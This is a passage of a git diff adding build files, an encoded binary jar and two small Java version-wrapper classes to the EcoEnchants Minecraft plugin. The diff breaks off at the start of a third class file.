z&eDkPH*A>ai}Vn0S=4I-Y9xacfRT1IpQ|ng=}YT{0Yt&xD0fJl--_2s`67wdVA8J1 zHe|7(rlgBa?UxKvD!25VP$15djubn3Hi9hKle>s+6Kb&%D}3l%+@zF?|mKQR0Y- z*ha(Wqi|{{&WL^3de~JONXTrRh(PShrtd|b7OhFm!IS4WkNz_yT7_FdRJckAaFRzbfnCq! zm#o&VukS{&yY*FEiEIdsr{X%aR~?P%xw5y-guaxC=zl0X1 z=l?b%evG2ErG!v7e{8lhUi$<|&sqC)QZjJAn=9y}-jE>fi@!{(p^X(YiK;y^NR%+N zRw`(E-0%WE{z3&-Q+Orin7SELz~0eKh#?=V3|hbdk1=LI-@hO74E!KQ%Y%gNx8wIK zz5+lvQ)uMYm2BzC%R2ulsCN33SMA79oZMFOz@AV-BA0W=fNK#alKQh;Y%0zo4?3`y ztQU`Hxj~z8A)3P!up{*J%Lug z41{`uO*6WCf#8jyQQ(Qd2ws@+1sJ-i%04}klk~k-fN1!%G%c1scDo~zT(9!p2I&Ak z%oenXm@A=10!!9?Sr|ur@UPHj)9=~UXYhZ*z6%0r=l2)vnZA00ME?PMYex(Ie{;Bj zisrJoUv+HoVS8#Uh>DUzDlDwAhx^LK0wPNwQBf$O_=1S#{Dq4uczw7pYxsSA;?q6SJL8h*OK`4SVUW-h@K_iIvKO*)%hTWL4f9)-O zTX!-D0qnm{md+5|yY(_Rw==(KCg@#=ROzkaTd5hZ?INJ=+}H;x*h7(7gr0F4?8U?l zRjr(K=<0$8EvRAZ1#q%#svo9sLWnuE_qI!JqX#{unmW_|MZjT6V^zX)87abU?T@^4 zq|t+S&L+|?rP6lCf3%fmZYd6 zGEN(dF@9wE_=pVsIQk?naeh5a=Q8_0;MECq-yoc1`S8N)NhC09KQrxNzJ zFuyi;6Mk4@#{nUW`?g@%*U#@`=Xq1UkrBki0z9!$_{Cmwv)#oel{5DfCY4(RIri>k z3__=!PfA5xpC#V;4&OwN&WnD$gUlQ!tW0&2DR^td;0cQl&q3QUoIuZ zI!q{$cm`8=g-G};-?T65=PXm*f!r((vD;C`X!cdfZj#sIX(`dijg>YPw9=yg7F8a0 zFQMj@Z(v?|LOu1WY^5i;feds-e~E|+(IMrZ{j_URCQH%CR=YC5gr~^0Rs+%cN44M@-5>d8A^#x z_V~yzhHHUi0=->k3q_%1A0XZd*OTXPA!3huJYOLF@>}OqI$K^}#rIZUY{3=xnM3Y$ z_;ek~*NQdgXyKz@Nd0TRS76||x%_37_U8c>aL@)}3jXpAWML19dwFW?s_Shwfm;U44j(g|u<=pnkZ|tHc7^2r#6d0% zi#a@-4)g)OczuIhX1HoJ>BD`7Vg#pflz@sfF`|hW`vUUKM^5P-?|o@iz<#DxcpKth zNyliv>hjO*JtAVWNZ{@-l`>Lvc(Jm%AXxBlps)?8=^O3uzv0twBJ>dq1$4qF5{jv2 zmRUVGepwM*RZ_mcn=|myl>!VYZORDWPPWchWUcN#x}D3AUwdPU#NU%#$P-7*=L`rv zcEO`8YpG>;t??KR2r~6YIaei55lvN_5Tts!^E5JVPRBe%AKnNgb!zO&#m(!*K18sI;5#QaqT7avhP+1@w<4avL-`+32!EeN*pi2*e4hUbZtX z?Y3N7Z(#S=XMc+!O0>4EljyD1{OWIyG#{h{`Wrzx^~YE^5)+QGGia|I!dAx!7D%+) z9jK2G9Z3fvm8X>}XEFx<<}{=O-rW35eV9;~IZUMLGx>n)i40<}R>p^0i=|yw8L?Br z_De0b%*&wu))LmNV@W$r@e(@?2;m8`Q4tC8(G%-KyaPBKRib&TajqXEE=8)`9gacH zZL&}&HMfl}jDK>>b&{rYDz3>x#G<$k0Uh!r#hREMSPNhgsW<{0LOozLY*+DryrW_>5zXHRekRg zsnVE0%u$;`Dk)e`_@2}m@v!v=yHd(tk^L_agvLLK?EIcmOcOgrtfkW2i1SPFYX^tj;Nls zaU&HLn9n4#*>OyKC*3L?ujQf7JM;N~0lpRU_LINw4j~?W*ip!guZcgRwVSs9c7{Da zdpC)of|!)R)U!3p*0U%|yhG<1g!u_I?B^Y^qoL4#PDDmh!fP%{Da_1?K*kNi5B@Fj zQATM8(S6?NanMX)OdLg$xOl?%uO}NtAx>CMZFUE1!_5Vh)#B;)$w-zbypr?o}K&k3=))5 zlZ4prZdq;hB4LJ^VV{QcscGvh-o=Jxn#Gl}guW^3wHAGMQi1>A(ns&_d5JO$E@@i# zSuLq!viW|^%r8xU&kJShT}!+meaN13`ULH1|Dv3mR=CUWj+IpWzv1qa009M_W0||3 zUp=yr=h>;6?^`MluD9Sa@okxRSYp$`MIkPWFV@fTlLc8d;RiYq3o6P0|yQ6B0^r+u2`I`B-q~LcNvi<~6uY?3;3FIeU)I1jQ8@6MHWF zn{YVj#^oT(NF95HV&kObsI7+VEgN|E`aN;}n5J>`U}ulu)&m@gMFJ>;viPh5okoHH-asbAD&P?&kh4h` znM4>6haaGyPJ+-{hOQOmtP+qDkj+6qL;+!rIItaq;smfckcA@Xrl7CbLzwbG7Q+;5 z>-W$NL|?yxFwhv-wnB9luGK8)W}>f*K$xiu%;6|zVp%7FZW{W0Il{D5;Jh4)X_&L; z=!T(BSR)KG1kPWh7=~y18r@X%xk7}gJlg1{;+#1|Hxzxw0b!`LJ`O|CdS@6Wq77Xl zOjI$(ZX))9OmuV6M@taqa+;%=i+$__-9YqyD8fJnD|7>~^h(iykj9X@d#W>9F z1G<6e%|e8Mg7#PpL~SIZ8-`v1A`B~WLNg3kbr|5y3LL0nU=RYrC}7_`#|6X#0P6`r AumAu6 literal 0 HcmV?d00001 diff --git a/lib/SpartanAPI.jar b/lib/SpartanAPI.jar new file mode 100644 index 0000000000000000000000000000000000000000..1f2d578a14103df362628c2d461c260fda90635f GIT binary patch literal 15405 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 literal 0 HcmV?d00001 diff --git a/parent.iml b/parent.iml new file mode 100644 index 00000000..c035f0b0 --- /dev/null +++ b/parent.iml @@ -0,0 +1,15 @@ + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pom.xml b/pom.xml new file mode 100644 index 00000000..538fc786 --- /dev/null +++ b/pom.xml @@ -0,0 +1,92 @@ + + + 4.0.0 + + com.willfp.ecoenchants + parent + 4.1.0-pre10 + pom + EcoEnchants Parent + + + Plugin + v1_15_R1 + API + v1_16_R1 + v1_16_R2 + + + + UTF-8 + ${project.basedir} + + + + + spigot-repo + https://hub.spigotmc.org/nexus/content/repositories/snapshots/ + + + maven-central + https://repo1.maven.org/maven2/ + + + CodeMC + https://repo.codemc.org/repository/maven-public + + + sonatype + https://oss.sonatype.org/content/groups/public/ + + + sk89q-repo + https://maven.enginehub.org/repo/ + + + jitpack.io + https://jitpack.io + + + enderzone + http://ci.ender.zone/plugin/repository/everything/ + + + md_5-releases + https://repo.md-5.net/content/repositories/snapshots/ + + + janmm14-public + https://repo.janmm14.de/repository/public/ + + + dmulloy2-repo + https://repo.dmulloy2.net/nexus/repository/public/ + + + + + + clean package install + ${project.name} v${project.parent.version} + src/main/java + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-jar-plugin + 2.4 + + + + + \ No newline at end of file diff --git a/v1_15_R1/pom.xml b/v1_15_R1/pom.xml new file mode 100644 index 00000000..99ef019d --- /dev/null +++ b/v1_15_R1/pom.xml @@ -0,0 +1,38 @@ + + + + parent + com.willfp.ecoenchants + 4.1.0-pre10 + + 4.0.0 + + v1_15_R1 + + + ${project.parent.basedir} + + + + + com.willfp.ecoenchants + API + ${project.parent.version} + compile + + + org.spigotmc + spigot-api + 1.15-R0.1-SNAPSHOT + provided + + + org.spigotmc + spigot + 1.15-R0.1-SNAPSHOT + provided + + + \ No newline at end of file diff --git a/v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/BlockBreak.java b/v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/BlockBreak.java new file mode 100644 index 00000000..aec6ebb1 --- /dev/null +++ b/v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/BlockBreak.java @@ -0,0 +1,14 @@ +package com.willfp.ecoenchants.v1_15_R1; + +import com.willfp.ecoenchants.API.BlockBreakWrapper; +import net.minecraft.server.v1_15_R1.BlockPosition; +import org.bukkit.block.Block; +import org.bukkit.craftbukkit.v1_15_R1.entity.CraftPlayer; +import org.bukkit.entity.Player; + +public class BlockBreak implements BlockBreakWrapper { + @Override + public void breakBlock(Player player, Block block) { + ((CraftPlayer)player).getHandle().playerInteractManager.breakBlock(new BlockPosition(block.getX(), block.getY(), block.getZ())); + } +} diff --git a/v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/Cooldown.java b/v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/Cooldown.java new file mode 100644 index 00000000..ef226faa --- /dev/null +++ b/v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/Cooldown.java @@ -0,0 +1,14 @@ +package com.willfp.ecoenchants.v1_15_R1; + +import com.willfp.ecoenchants.API.CooldownWrapper; +import net.minecraft.server.v1_15_R1.EntityHuman; +import org.bukkit.craftbukkit.v1_15_R1.entity.CraftPlayer; +import org.bukkit.entity.Player; + +public class Cooldown implements CooldownWrapper { + @Override + public double getAttackCooldown(Player player) { + EntityHuman entityHuman = ((CraftPlayer) player).getHandle(); + return entityHuman.s(0); + } +} diff --git a/v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/CraftEnchantWrapper.java b/v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/CraftEnchantWrapper.java new file mode 100644 index 00000000..facdd8bf --- /dev/null 